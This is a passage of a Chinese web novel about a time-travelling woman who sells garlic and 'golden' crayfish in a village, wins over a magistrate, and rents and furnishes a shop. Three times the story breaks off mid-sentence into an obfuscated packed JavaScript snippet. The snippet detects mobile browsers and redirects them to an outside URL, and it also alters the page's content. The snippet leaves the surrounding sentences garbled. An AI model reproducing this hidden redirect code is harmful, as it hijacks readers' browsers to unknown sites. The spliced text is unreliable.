锅里的蒜泥渐渐变成了诱人的金黄色，边缘上还带了点淡淡的褐色，炸成这样就差不多了，乔穗赶紧把它们捞出来，把油沥干后，放到了一个瓷碗里。 她深吸了一口气，蒜香味混合着焦香味，简直勾得人馋虫大动。 一切配料都准备妥当了，乔穗才开始煮小龙虾。 和平时的步骤一样，干净的锅里加水，然后放姜片去腥，等水烧开后，再把小龙虾放进去煮。 煮好的小龙虾捞出来沥干水分，一部分倒进锅里，和蒜泥一起翻炒，做成普通的蒜蓉味。 另一部分，则和炸好的焦香味蒜泥拌在一起，做黄金小龙虾，金黄的蒜泥裹在红彤彤的虾壳上，看着就让人胃口大开。 准备好今天的主推款之后，乔穗又重新刷锅添柴，煮了一锅香辣味的，香辣味的经典，吃起来过瘾，除非是年纪大的人一口辣椒都不能吃，否则谁买新口味的都得带上几只香辣的。 准备就绪后，她把三种口味的小龙虾装进三个不同的竹篮里，又仔细检查了绑在扁担上的铁锅和干柴，确认没落下什么，这才挑起担子，脚步轻快地往村口大柳树下赶去。 许是昨天半夜下了场雨的缘故，今日的风比往日吹的更清爽些，还带着田野边小草的香气，吹在脸上，舒服得很。 离村口还有一些距离，乔穗就听见了七嘴八舌的说话声，村民们三三两两的聚在一起，热热闹闹的。 走近了一看，发现大柳树下不光有村里的熟人，还有几张乔穗没见过的陌生的面孔。 李大爷家住在村口，特意早早出来占了个好位置。 见乔穗来了，立马挥着手冲着她喊道：“穗丫头，可算来了！今个俺特意把俺老弟从隔壁村喊过来，让他也尝尝你做的小龙虾，他昨个儿听俺说这小龙虾好吃，馋得一宿没睡好！” “这就是卖小龙虾的丫头，俺今天倒要尝尝你这东西到底有没有俺哥说的那么霸道。”李大爷的弟弟站在他的旁边，笑着说。 一个大婶也从人群中挤了出来，“丫头，俺也是从隔壁村来的，昨天路过听说你做的小龙虾特别地道，特地起个大早过来看看！你可得给俺留好了！” 乔穗放下担子，笑着对大伙儿说道：“感谢乡亲们支持，我保证大家都能买到！” 平日她都带着两个竹篮，有个孩子眼尖发现乔穗今天多带了一个，好奇地问：“穗姐姐，你今天怎么带了三个篮子呀？” 这话一出，所有人的目光都齐刷刷地落在了地上的三个竹篮上。 “穗丫头一定是瞧买的人多，特意多准备了一筐。” “俺猜多的那个肯定是蒜蓉的！” “俺猜多的那个是香辣的！” 大家七嘴八舌的猜测着那个多出来的篮子里装的到底是什么口味的小龙虾，乔穗将大伙儿的话听在耳朵里，脸上带笑，却没有急着揭晓正确答案，而是麻利的把铁锅支好，又在下面铺好了干柴。 乔穗支好铁锅之后，刚才猜测口味的两个大婶已经掐着腰站在那打起赌来了。 “我赌五个蒜头，肯定是蒜蓉的！” “我赌六个辣椒，肯定是香辣的！” 二人你一言我一语的，谁也不服谁，乔穗被她们逗得笑出了声。 “穗丫头，别卖关子了，赶紧给大伙儿看看你那篮子里装的到底是个啥吧！” “好好好！”乔穗笑着掀开竹篮的盖子，一股带着焦香的蒜味立马飘了出来，闻起来比普通的蒜蓉味道更加霸道，金黄的蒜泥裹着红彤彤的虾身，给小龙虾又平添了几分贵气。 “这是我新琢磨出来的口味，叫黄金小龙虾，上面的蒜泥是用油炸过的，吃起来更香！” 村民们纷纷伸长了脖子往篮子里看。 “蒜泥还能炸？” “炸过的蒜泥？那得多好吃啊！” “而且这黄金小龙虾寓意好，保准大家吃了发大财！”这话说到了乡亲们的心坎里。 “俺要发财，俺先来五只尝尝！” 人群中立马有人嚷嚷着要买，乔穗刚要应声，就听见身后传来了一句：“本官也想尝尝这新口味。” 声音温润又不失沉稳，她回头一看，果然是沈宴之。 他今天依旧穿着素色常服，腰间挂着枚质感温润的玉佩，只不过手上没有拿着那把画了梅花的折扇，反而拎了一个小小的竹筒。 村民们看清来人是谁，纷纷躬身行礼，沈宴之摆手，示意大家不必多礼，目光却落在乔穗脸上：“不知乔姑娘今日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103140|195764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又有什么花样？” 乔穗笑着答道：“回大人，民女今日推出的叫黄金小龙虾,用的是油炸过的蒜泥，比普通的多了些焦香味。” “哦？黄金小龙虾，这名字听起来倒是新鲜，就是不知味道如何。” 免费代言人再次上线！ 乔穗连忙应道：“大人稍等片刻，民女这就给您做一个热乎的。” 说罢，她就忙着把火生起来。 风吹了过来，烟有点呛人，乔穗眯起眼睛，忍不住咳嗽了两声。 缓过来之后，发现沈宴之蹲在旁边，手里还拿着一根干柴，帮她调整着柴火的位置，火苗被他拨弄得更旺，却不怎么冒烟了。 “大人，您怎么还亲自动手了？”乔穗有些不好意思，连忙想接过他手里的干柴。 “无妨。今日有风，这烟就比无风时多些”沈宴之说着，却没有躲开的打算。 这沈宴之还真是半分官架子也没有，看他生起火来有模有样的，应该不是第一次。 “想不到，沈大人还会生火？”乔穗看着他，语气里带了些好奇。 “不是什么难事。” 这人好像有点自恋。 火着了起来，沈宴之站起身，拍了拍手上的灰尘。 锅很快就热了，乔穗舀了几只黄金小龙虾放进锅里，没一会儿，锅里就飘出了浓郁的香味，金黄的蒜泥渗进了虾肉里，焦香味混合着小龙虾的鲜味一起飘了出来，引得围观的村民们都伸长脖子，眼巴巴的往锅里看。 “好香啊！比昨个的蒜蓉味还勾人！” “俺的口水都要流出来了！” 乔穗把加热好的黄金小龙虾捞出来，剥去虾壳，将虾肉递到沈宴之面前：“大人，您尝尝。” 沈宴之接过来，放进嘴里。 炸过的蒜泥带着焦香，包裹着清甜的虾肉，吃进嘴里，没有辣味的刺激，也没有生蒜的冲劲，留下的只有满口鲜香。 他微微眯起眼睛，点了点头：“不错，比前两种口味更有新意，多出来的焦香味也让虾肉的口感更加分明。” 沈宴之不愧是小龙虾的野生代言人。 要知道，在二十一世纪，乔穗可请不起明星代言，没想到在这人生地不熟的地方，收获了一个代言人，还是个当官的。 有了代言人这句话，周围的村民们立马炸开了锅。 “沈大人都说好吃了肯定错不了！” “俺要五只黄金的！” “俺要三只黄金的，再要三只香辣的！” “给俺来十只黄金的，俺带回家给全家尝尝！” “俺每样口味各来三只！” 邻村的张大娘也挤了过来，手里攥着几个铜板，嗓门洪亮：“丫头，给俺来八只黄金的，俺家那口子就好这糊味！” 乔穗忙得脚不沾地，一边收钱，一边装虾，嘴里还不忘应着：“别急别急，都有都有！” 沈宴之拎着竹筒坐在石头上，看着她忙得团团转的样子，嘴角的笑意不自觉加深。 在她身上，沈宴之仿佛看到了一种叫“生命力”的东西，就像石头缝中钻出的野草，在阳光的照耀下，强劲坚韧。 5. 摊位有着落 正当乔穗忙的起劲的时候，人群里传来了一阵小小的骚动，接着便响起一个小孩子的哭声。 乔穗闻声抬头，一个看起来大概四五岁的小孩正坐在地上哭，旁边的地上还倒着打翻的装着生蒜泥的碗，里面白花花的蒜泥洒了一地。 小孩子吓得脸都白了，边哭边说着：“俺不是故意的……俺错了……” 张大娘从人群里挤出来，气得抬手就要打，嘴里还一边骂着：“小兔崽子，毛手毛脚的！就知道给俺惹祸！” 小孩原来是张大娘的孙子，父母出门做生意，把他留给祖母照顾，他心里好奇想看看锅里的虾，却不小心碰倒了旁边装蒜泥的碗。 乔穗在围裙上擦了擦手，连忙绕过去拦住她：“大娘，别打孩子，他不是故意的。” 张大娘哪里舍得真打，无非围观的人多，打翻的还是大家等着吃的用来做小龙虾的蒜泥。 见乔穗上前拦着，她一脸愧疚的对乔穗说：“穗丫头，真是不好意思，俺这孙子平日里野惯了，你看要赔多少？俺赔给你！” “大娘，不用您赔，又不是什么稀罕玩意儿，蒜泥撒了我再怼就行！” “哎呀，穗丫头，这怎么好意思！” “没事儿。”乔穗笑着说，随后走到还在哭的小孙子面前，蹲下身，抬手轻轻擦了擦他脸上的眼泪，“不哭啦，姐姐给你拿好吃的！” 她起身挑了一只黄金小龙虾，剥掉虾壳后递给他：“来，尝尝这个，可好吃了。” 小孩儿看着乔穗手里的虾肉，虽然抽泣但还是张开嘴吃了，闭上嘴嚼了几下，眼睛一下子就亮了，就连哭声也小了些，低着头小声说道：“谢谢姐姐。” 乔穗拍拍他圆润的笑脸，温和的说：“乖！姐姐再给你装两个，回家让奶奶剥给你吃好不好？” 小孩儿抬手抹了一把眼泪，点点头。 乔穗起身，挑了两个个头比较大的黄金小龙虾，用油纸包好后递给一旁站着的张大娘。 张大娘看着递到自己面前的小龙虾连忙推辞，语气里还带了些不好意思，“穗丫头，这怎么使得，你不怪罪俺已经很感谢了，这小龙虾俺不能要，你留着卖给大伙儿！” 乔穗笑着将小龙虾塞到张大娘手里，“您拿回去给孩子吃，只有一点，就是回家可千万不能再打他了！” “是是是！”张大娘笑着应到，接着用手拍了下还在抽泣着的小孙子，“还不谢谢穗姐姐！” “谢...谢谢穗姐姐！” 乔穗弯下身，抬手轻轻摸了摸他的头，语气温柔的说道：“不客气！和奶奶回家吧！” 沈宴之坐在一旁看着这一幕，眼神更柔和了些。 看着张大娘领着小孙子走远，乔穗才转头对着村民们说道:“不好意思乡亲们，黄金小龙虾就剩下锅里这些了，蒜泥用完啦，今天做不了新的啦！” 这话一出，人群里骚动起来，有埋怨张大娘的小孙子不懂事的，也有夸乔穗人美心善不和小孩子计较的，还有的说自己是特地起个大早从邻村来的。 她补充道：“乡亲们能来捧场，我心里十分感激，我知道大家都想尝尝黄金小龙虾，我明天多做些，保证大家都能买到，而且味道比今天更好，虾的个头也比今天更大！” 闻言，围观的村民们你看看我，我看看你，还是没人之声。 乔穗见状，暗自在心里叹了口气。 站在中间的王婶受不了大伙儿这拖沓样，站出来声音爽朗的说：“成！穗丫头，俺今天就先回去，正好地里有活儿等着俺干呢，明个儿，俺再来尝黄金小龙虾，你可要说话算话！” 王婶，你可真是我的救星! “那是自然，我保证说话算话!”乔穗连忙笑着应道。 王婶又向前迈了一步，转过身冲着大伙儿说：“没买到的大伙儿都先回去干活吧，都围在这像个什么话，明天再来，穗丫头说明天的黄金小龙虾管够！” 王婶，你简直太仗义了！ 王婶在这儿呆的久了，又是十里八村出了名的媒婆，没少帮乡亲们保媒拉纤，真碰上事儿，乡亲们多少都会给她几分面子。 “成！那俺也先回去干活儿。” “俺回去洗衣裳！下地弄脏的衣裳还没洗呢！” “俺回去弄点酱菜！” 大家你一言我一语，说着便转身往村子里走，一会儿功夫，围观的人就散了大半，但是还有一些特意从邻村赶来的，犹豫着不愿意离开。 乔穗看着剩下的这些陌生面孔，估摸着都是从邻村来的，开口对着他们说道：“乡亲们一定是特地起个大早从邻村来的吧，为的就是尝尝我的小龙虾，虽然黄金小龙虾剩的不多，但是我这里还有很多香辣小龙虾，是我的招牌，能吃辣的买这个简直是最合适不过了。” 剩下的人群里顿时有人接话，是个很壮的年轻男人，“香辣的？辣得狠不狠？俺媳妇怀孕了，就爱吃辣口的！” 乔穗笑着掀开装着香辣小龙虾的竹篮，“辣度适中，香得很，不是那种呛嗓子的辣，大人孩子都能吃，不信你们闻闻。” 大伙儿凑过来闻了闻，“还真是香，那给俺来几只！回去给孩子他爹下酒。” “俺也来几只！黄金的没赶上，尝尝香辣的也行！” “俺也要，先尝尝味儿，好吃下回再来！” 短暂安静的摊位前一下子热闹起来，大家纷纷上前，嚷嚷着要尝尝香辣小龙虾。 乔穗手脚麻利的装虾收钱，没多大一会儿，香辣小龙虾也卖出去大半，剩下的几个人见分量不多了，干脆凑在一起包圆了。 她把最后一份小龙虾装好递出去，抬手擦了擦额头的汗，心里觉得松快了不少，总算是没让远道而来的乡亲们白跑一趟。 接着，乔穗又把剩下的黄金小龙虾都按照买的数量装好，一份一份的递给了刚付完钱的要黄金小龙虾的村民。 忙完之后见王婶还没走，乔穗擦擦手，走到王婶身边，脸上带着感激：“刚才谢谢你啊王婶！” “多大点事儿，”王婶拍了拍她的胳膊，“卖完了就早点收拾回家，别一直在太阳底下晒着。” 说完，王婶也慢悠悠地往村子里走去。 沈宴之等乔穗忙完，才站起身走到乔穗身边，从口袋里掏出了一些碎银子放在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103141|195764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乔穗面前，又指了指地上的碎碗和蒜泥，说道：“乔姑娘，我带了些碎银子，你拿去买个新碗，顺便多买点大蒜，省得不够用。” 乔穗连忙摆手：“不用不用，大人，一个碗值不了几个钱，大蒜我家里还有，够用。” “拿着吧。”沈宴之把碎银子塞进她手里，语气不容拒绝，“这是本官买虾的钱，多出来的，就当是替那孩子赔偿蒜泥的。” 乔穗捏着手里的碎银子，想说些什么，却见沈宴之又把手里拿着的竹筒递给她，“这是薄荷水，口感清凉，解腻，你忙的满头大汗，喝了这个会舒服些。” “啊？” 突如其来的关心让乔穗猝不及防，沈宴之见她愣在原地，玩笑着冲她说道：“怎么，乔姑娘这是怕本官下毒？” “沈大人说笑了。”乔穗讪讪的接过沈宴之手中装着薄荷水的竹筒，心里虽然疑惑却仍不忘道谢，“多谢大人。” 县令大人都如此关心爱护自己的乡民吗？ 带来的三个竹篮子的小龙虾都卖完了，乔穗开始收拾摊子，准备回家。 沈宴之没走，站在旁边看着她忙活，忽然开口问道：“乔姑娘，你天天把铁锅带回去？” 乔穗动作一顿，心里咯噔一下。 搬锅应该不犯法吧？ 难道要怪她无照经营？ 不对，古代有营业执照这一说吗？ 沈宴之慢悠悠的开口：“你就没想过找个地方支个固定摊位，搭个灶台，也方便些。” 原来是这样。 乔穗松了口气，手上收拾的动作却没停，抬眼看向沈宴之，语气坦荡：“我正有此意，只是村里的铺面归公，没摸清门路，加上最近摆摊事忙，还没来得及去问。” 沈宴之点点头，语气平和，说道：“村口拐角有间空铺面，闲置许久了，归村老打理。你有空去寻他，说是我提的，按村里规矩算租金即可。” 闻言，她放下手里的东西对沈宴之微微颔首，言辞真切的说：“多谢大人提点，大人这话，倒是解了我的难处。天天搬锅灶确实麻烦，有了固定铺面，倒是能省不少功夫。” 乔穗不卑不亢的样子，让沈宴之的心里又多了几分佩服。 “举手之劳，乔姑娘的小龙虾干净美味，深受乡亲们喜爱，支个固定摊子，不仅方便乔姑娘，也方便大家。” “是这个理。”乔穗应着，转过身，动作麻利的把竹篮盖好，“我明日一早就去找村老问铺面的事儿。” 沈宴之看她动作麻利的将东西收拾好，有条不紊的搁在扁担上，又道：“收拾妥当了？” “嗯，都收妥当了。” 沈宴之没接话，乔穗出言提醒：“大人，我要回去了，您也快回去吧。” “好，路上当心。” 乔穗应声，沈宴之点了个头，便转过身慢悠悠的离开了。 送走沈宴之，乔穗也挑起担子，脚步沉稳的往村里走去。 明日找村老谈铺面，得好好琢磨一下，要把灶台砌得规整些，同时也要多备些货，免得再像今日这般断了蒜泥，或者发生一些其他的意外，白白错失生意。 6. 拿下好铺面 乔穗挑着担子往家里走，心里却一直惦记着找村老租铺面的事。 走在路上，恰好碰见隔壁的张叔下地干活回来，肩上还扛着锄头，见乔穗这么早就收摊回家，冲她喊道：“穗丫头，今儿收摊这么早啊，虾卖得咋样？” 乔穗挑着担子，笑着应道：“都卖完了。” 张叔发现她担子上还背着铁锅，皱了下眉，接着喊道：“穗丫头，你这天天背着铁锅，也不嫌累？” “不累，就是有点麻烦，正打算明儿个去村老家租铺面呢。” 张叔认同的点点头：“这敢情儿好，省着你天天背着铁锅，大伙儿往后买东西也方便，你看上哪的铺面了？” “就村口拐角那家。”乔穗坦然回答。 张叔闻言啧了一声，“那家啊，俺听说有不少人看上那家铺面，都没和村老谈拢。” 她放下担子，心里有点好奇，冲张叔问道：“为啥啊？是嫌租金给的少吗？” 张叔闻言，走到乔穗身边，挡着嘴，神神秘秘的说：“好像是村老要给他孙子留着！这才拦着不让大伙儿租！” 村老的孙子？现在还是个五六岁的小娃娃呢！ 乔穗配合着压低声音，问道：“那么小，村老就给他留铺面了？” “谁说不是呢？” 张叔又将声音压低了些，“你可千万别说这事是俺说的！” 回到家，乔穗推开院门，把担子小心翼翼的放到廊下，然后去井边打了桶水，简单的洗了一下手和脸，又把出摊用的锅碗瓢盆洗涮干净，分别归置好，放到了灶房柜子里。 收拾好一切，她搬了张小板凳坐在院子里，从兜里摸出沈宴之给的碎银子，又数了数这些日子卖虾赚的钱。 心里盘算着，不知道那铺面得多少钱能租下来。 张叔的话还回荡在乔穗耳边，可是那铺面位置是真的好，守着村口还临着大路，不管是本村还得隔壁村，只要去镇子上，来来回回都路过那儿，而且离家近，她做生意也方便。 可村老要是铁了心留给他孙子，那这铺子想租下来可是带点难度。 她乔穗可不是一个轻易打退堂鼓的人，沈大人既提点了她，孰是孰非，她总归要去试试，成了最好，要是不成，她再想别的法子，总不能因为一句传言就白白放弃位置这么好的铺面。 她把数出来的碎银子和铜板分别装进两个布袋子里，仔仔细细的贴身放好。 夜里躺在床上，乔穗也没多琢磨这事，横竖明日都要去村老家，开门见山的把事儿给说清楚，一切都按村里的规矩来。 若是村老实在不肯，那她也不勉强，买卖不成仁义在，没必要一直揪着不放。 第二日，天刚亮，乔穗就起了床，简单吃了一口饭，带上装着钱的布袋子，径直往村东头的村老家走去。 路上，碰见了李大娘去赶集，挎着菜篮，见她往村东头去，喊住她：“穗丫头，这是去村老家有事？” 乔穗停下来，笑着应道：“是啊，想去跟村老问问，租村口那间铺面，去赶集啊大娘？” 李大娘闻言，皱了皱眉：“你咋看上那间了？那铺面村老宝贝得很，前阵子好几个人去租都没成，听说要留给他那不大点的孙子呢。” 她点点头，心里有了数，“知道，就是去试试，成了最好，不成的话我再寻别的。” 李大娘叹了口气：“哎，你这丫头实诚，去试试也好，要是村老松口，那可是天大的好事，要是不成，那就赶紧寻别的，别和他耗！” 乔穗笑着答应下来，俩人便分了路，李大娘挎着菜篮子去赶集，乔穗顺着路继续往村老家走。 院门大敞着，村老正坐在院子里喝茶，他的小孙子蹲在院子的东南角，笑呵呵的玩着泥巴。 乔穗走到门口，轻轻喊了声：“村老，您在家呢？” 村老顺着声音抬头，看清来人后，抬手让她过来坐：“穗丫头啊，过来坐，有事？” 乔穗笑应着，走到石桌旁的凳子上坐下，没绕弯子，直截了当开口说道：“村老，我今日来，是想跟您租村口拐角那间空铺面，想支个固定摊子卖小龙虾，省得天天搬锅灶，大伙儿买着也方便。” 此话一出，村老皱了下眉，“丫头，你怎么也盯上那家铺面了？” 她笑了笑，坦然回答，“还不是因为那家铺面位置太好了，村老，您看？” 村老放下茶杯，面露难色的说道：“穗丫头，别的铺面都行，就这间，我没法租给你。” 乔穗心里早有准备，笑着问：“我听村里人说，您是想留着给小孙子长大用？” 村老点点头，眼神中带了些慈祥：“这孩子爹娘在外头做工，我就想着，给他留个念想，这铺面位置好，等他长大了，想做啥买卖都方便。” 乔穗点点头，理解他的意思：“您的心思我懂，隔辈亲，都想为孩子打算。不过您看，孩子现在才五六岁，离长大还早，这铺面空着也是空着，放久了墙皮都得掉，糟蹋了这么好的铺面，岂不可惜。” 她顿了顿，又说：“我想着，您要是愿意租给我，我按村里最高的规矩给租金，半年一付，绝不拖欠，而且我是做吃食的，肯定把铺面收拾得干干净净，日日打理着，绝不会糟践半点，等孩子长大了，真要用这铺面了，您提前跟我说一声，我立马腾出来，半点不耽误。” 村老闻言，沉吟着半天都没说话，手指摩挲着茶杯盖子，在心里打着算盘。 他也知道铺面空着可惜，这些日子来租的人，要么嫌租金贵，要么就挑三拣四的，想把铺面改了。 乔穗这丫头他看在眼里，做事敞亮，卖的小龙虾既干净味儿又好，乡里乡亲的都待见她，而且话说的实在，租金不少给，他要用的话还肯随时腾出来，要是租给她的话，铺子也不会糟践的太严重，倒是比空着强。 玩泥巴的小孙子认识乔穗，知道她卖的东西好吃，听见俩人说话，抬起头喊了声：“爷爷，我要吃小龙虾。” 乔穗听见，笑着对他说：“等姐姐把铺面租下来，天天都给你留两只小龙虾，而且口味，随便你挑！” 小孩眼睛一亮，拍了拍手，接着又低下头玩泥巴，嘴里还嘟囔着：“吃虾吃虾！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103142|195764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 村老瞧着孙子的样子，又看了看面前乔穗诚恳的模样，终是松了口：“罢了，穗丫头，俺信你，这铺面就租给你。就按你说的，村里规矩一年三百文租金，半年一付，你要是往后想改铺面，得先跟我说，等我孙子长大了要用，你可得立马腾出来。” 她心下一喜，立马掏出袋子，数出一百五十文铜钱，放到村老面前的桌子上，笑着说：“村老，您点点，这是半年的租金，一文不少。您放心，我肯定守规矩，绝不多占半点便宜，等您孙子长大要用，我二话不说，立马给就给您腾出来！” 村老看着面前的铜钱，数都没数，就塞了口袋里。 “您不数数吗？” 村老摆摆手，“我信得过你！” 接着起身去屋里，拿出了一把黄铜钥匙，递给她：“这是铺面的钥匙，你拿好，那里还有几个旧木头架子，你要是用得上就留着，用不上的话就挪到外头，就是别扔了。” 乔穗接过钥匙，心里长舒了一口气，“多谢村老，您放心，我肯定把铺面打理好，不辜负您的信任。” 村老摆摆手：“你这丫头做事踏实，俺信你。往后好好做买卖，乡里乡亲的，互相照应着，多来往。” 然后像是突然想到了什么，又问道：“丫头，这铺面空着也不是一天两天了，村里人都知道这是给我孙子留的，之前来租的也都是隔壁村的，你是怎么想到，要租这间的呢？” 不愧是能当村老的人，脑子就是比一般人快。 “不瞒您说，是沈大人叫我来找您的。” 村老闻言，有些意外，下意识将腰板直起一些，声音比刚才大了不少，“沈大人？你说的是沈宴之沈大人？” 乔穗点头。 “那你进门时为何不提？” 乔穗握着钥匙，言辞真切的说：“我想让您真心实意的把铺面租给我，而不是迫于沈大人的官威，要是我用沈大人威胁您，您就算答应了，心里面也会租的不痛快，我用起来也会不安心，我知道您是个通情达理的人，只要把事儿说清楚了，您一定会租给我的！” 村老听着这些话，点点头，看向乔穗的眼神中多了几分赞许。 这丫头，是个聪明的。 要是她用官威压人，自己还真不会租的这么爽快。 村老拍了拍她的肩膀，肯定的说，“是个好孩子！” 乔穗又跟村老说了几句客气话，见他要带着小孙子去串门，便起身告辞，拿着钥匙脚步轻快的径直往村口的铺面走去。 此时的阳光正好，没有晌午时候那般毒辣，偶尔吹过一阵微风，里面还夹杂的泥土的芳香。 算了算，穿越过来已经有些时日了，不仅没饿死，日子还靠着自己的手艺在这人生地不熟的地方越过越滋润。 穿越之前，她都没有个属于自己的店面。 没想到却在这里，开上了自己的第一家小龙虾店，她励志，要把店面发扬光大，开到镇上，县里，最好能开到京城里去，让皇宫里的人也尝尝，这令人食指大动的小龙虾到底有多美味。 她乔穗，也是个有店的人了！ 7. 小店新开张 乔穗带着村老给的黄铜钥匙来到村口铺面。 这铺面是个独户，带个小院子。 推开大门，里头不大，挨着墙有个小耳房，能放东西，地上有些枯树叶，墙角上结了几处蜘蛛网，最里头挨着墙还有三个旧木架子，应该就是村老说的那些，看起来还算结实。 这位置真不错，门口就是大路，村里的人来回都能瞧见，院里能摆几张桌凳，还能搭灶台，这样的地方，用来卖吃的再合适不过了。 她回了家，取了扫帚、抹布，又到溪边打了半桶水，准备好好打扫一下卫生。 路过张叔家，乔穗见院里堆着些旧木料，都是些结实的榆木，估摸着是前阵子盖房剩下的，扔在这反倒可惜，要是能拿回去打几张桌凳最好不过了。 于是，她便冲着里面打扫院子的张叔喊了一声：“张叔，您院里那几根旧木头要是不用的话，能不能借我用用？” 张叔闻声抬头，停下了手里的扫帚，笑着说：“穗丫头啊，你要用它做啥？” 她走了进来，实话回道：“我租了村口那间铺面，想着在里头添几张桌凳，要是等的功夫长，乡亲们还能有个地方坐着，歇歇脚。” “你是说，你把村口那铺面租下来了？”张叔瞪大了眼睛，接着又感叹道：“哎呦，穗丫头你可真有能耐啊！这几根木头你有用的话就拿去，要是还有啥地方用的上俺帮忙的，你尽管提！” “谢谢张叔！”她心下一喜，连忙对张叔道谢，顿了顿，又补充道：“您知道哪儿有好木匠吗？” 张叔拄着扫帚，想了一下，“好木匠，那当属隔壁村的王三了，不过他这两年生意多了，价钱也高了！”说到后面，还撇了撇嘴。 然后像是突然想到了什么，拍了下脑门，“丫头，你要是不嫌弃的话，叔给你琢磨两下，不要钱！” 此话一出，乔穗眼前一亮，刚花了不少钱租了铺面，还得留出一些买调料，要是再花大价钱请个好木匠，这些日子摆摊赚的钱就没剩多少了。 于是，她连忙笑着应道：“不嫌弃不嫌弃，我感谢您还来不及呢！” 张叔放下扫帚，去仓房里找了刨子锤子，两个人蹲在木头面前，花了半天功夫打出了两张简易木桌，还有八个小板凳，虽不精致，却是实打实的结实。 张叔帮着把桌凳搬到了铺面院子里，摆好位置之后，还真是乔穗心里想的的那个意思。 吃过午饭，她去找了村里会砌灶台的王大伯。 王大伯手巧，做起活来利索，干了十几年，跟前儿谁家砌灶台都找他。 乔穗找到他时，他正在院子里挥着斧头劈柴。 她敲了两下院门，“王大伯，您在呢，我想请您帮我在村口的铺面里砌两个灶台，然后再搭个放食材的台子，工钱就按照村里的规矩来。” 王大伯拎着斧头，爽快的说道：“行，俺一会儿就去量尺寸，明个儿一早动工，保准给你砌得规整，好用。” 乔穗道了谢，又跟他定了动工的时间，才转身离开。 上午忙着打桌凳，没空出时间打扫卫生，下午可得把这积了不少灰的铺子好好收拾收拾。 村里人本来就喜欢看热闹，见乔穗忙前忙后的在收拾铺面，都凑过来问：“穗丫头，这是要在这支摊了？” 乔穗笑着应：“是，往后就在这卖小龙虾，不用天天搬锅灶了，大家买着也方便。” 有人说：“那敢情好，昨儿没买到，等你开了张一定第一个来。” 乔穗一一笑应着。 王婶领着小孙女路过，见她擦着大门，停下来笑着喊：“穗丫头，这铺面真让你租下来了？村老那倔性子，前阵子好几个人来租都没成呢，你倒好，一去就成了！” 乔穗手里拿着抹布，应道：“嗯呐，跟村老把话说开了，他瞧着我实在，便租了。” 王婶翘着脚往铺子里看了几眼，见里面还摆上了桌凳，笑着说：“这拾掇可得真像样，还有地方坐。” 她一边擦，一边应道：“我怕大伙儿等的时间久了，没处歇脚，就摆几张桌凳，方便些。” “你这丫头心思细，做起生意来指定红火，这铺子开起来，往后买虾可就方便多了。” 乔穗笑着应和着，手里忙活着却一点没停下来，用抹布把院子里的桌凳还有木头架子里三层外三层的擦的透亮，天快黑了才将铺子打扫完。 忙活完回到家，她煮了一锅小龙虾，给张叔送了过去。 白日里，张叔帮着忙活了不少，给他钱还一直推辞着不要，说她做的是正经买卖，帮衬一把是应该的，于是她思来想去，决定做一锅香辣小龙虾，算是感谢他的帮忙。 送完虾回来，乔穗简单收拾了下，便早早歇下了。 次日，乔穗早早地就到了铺子，没一会儿，王大伯就带着砖头和水泥过来了。 路过的乡亲们看见两个人在里头忙活着，家里没事的还说要过来搭把手。 她都笑着谢道：“多谢各位叔伯，不用麻烦，我和王大伯俩人就够了。” 大家看她勤快又实在，都夸道：“这姑娘，能干又懂事，做买卖指定能火。” 她听见了，只是笑了笑，手里的活却一点没停。 灶台砌了整整一天，傍晚时分才算完工。 两个灶台挨在一起，高矮合适，旁边放食材的台子也搭得平整。 王大伯擦了擦汗，说道：“穗丫头，你看看，合不合用？不合用我再改。” 乔穗试了试，满意说道：“太合用了，王大伯，真是辛苦您了。” 说着，从口袋里数出工钱，递给了王大伯。 王大伯将工钱揣起来，笑着说：“不辛苦，你这丫头爽快，往后有啥事，只管说。” 灶台砌好了，乔穗又开始置办东西。 她估摸着镇上的杂货铺还没关门，就赶紧去买了两口新的铁锅，又买了十几张竹篮，一沓油纸，还有一捆绑竹篮的麻绳。 然后又转去菜市，买了满满一筐大蒜，还有八角、桂皮、香叶这些调料，货都备得足足的，免得再像上次那样，蒜泥不够用。 卖香料的掌柜见她一次性买得多，笑着说：“姑娘，下次再来我给你算便宜点。” 乔穗笑着说：“多谢掌柜，往后定常来。” 乔穗买完东西往家里走，路上碰见串门回来的周大嫂，隔着老远就扬声问道：“穗丫头，你啥时候再卖小龙虾啊？俺家那口子一直念叨着买呢！” 她笑着回答：“我盘下了村口的铺面，往后就在那支摊，明天开张您让大哥直接去就行，保证管够！” 李大嫂眼睛一亮，立刻答应了下来，然后又和乔穗絮叨了几句家常才走。 一路走下来，碰见的村民们不是问生意就是打听开张的事，乔穗都一一笑着回答，没半点不耐烦。 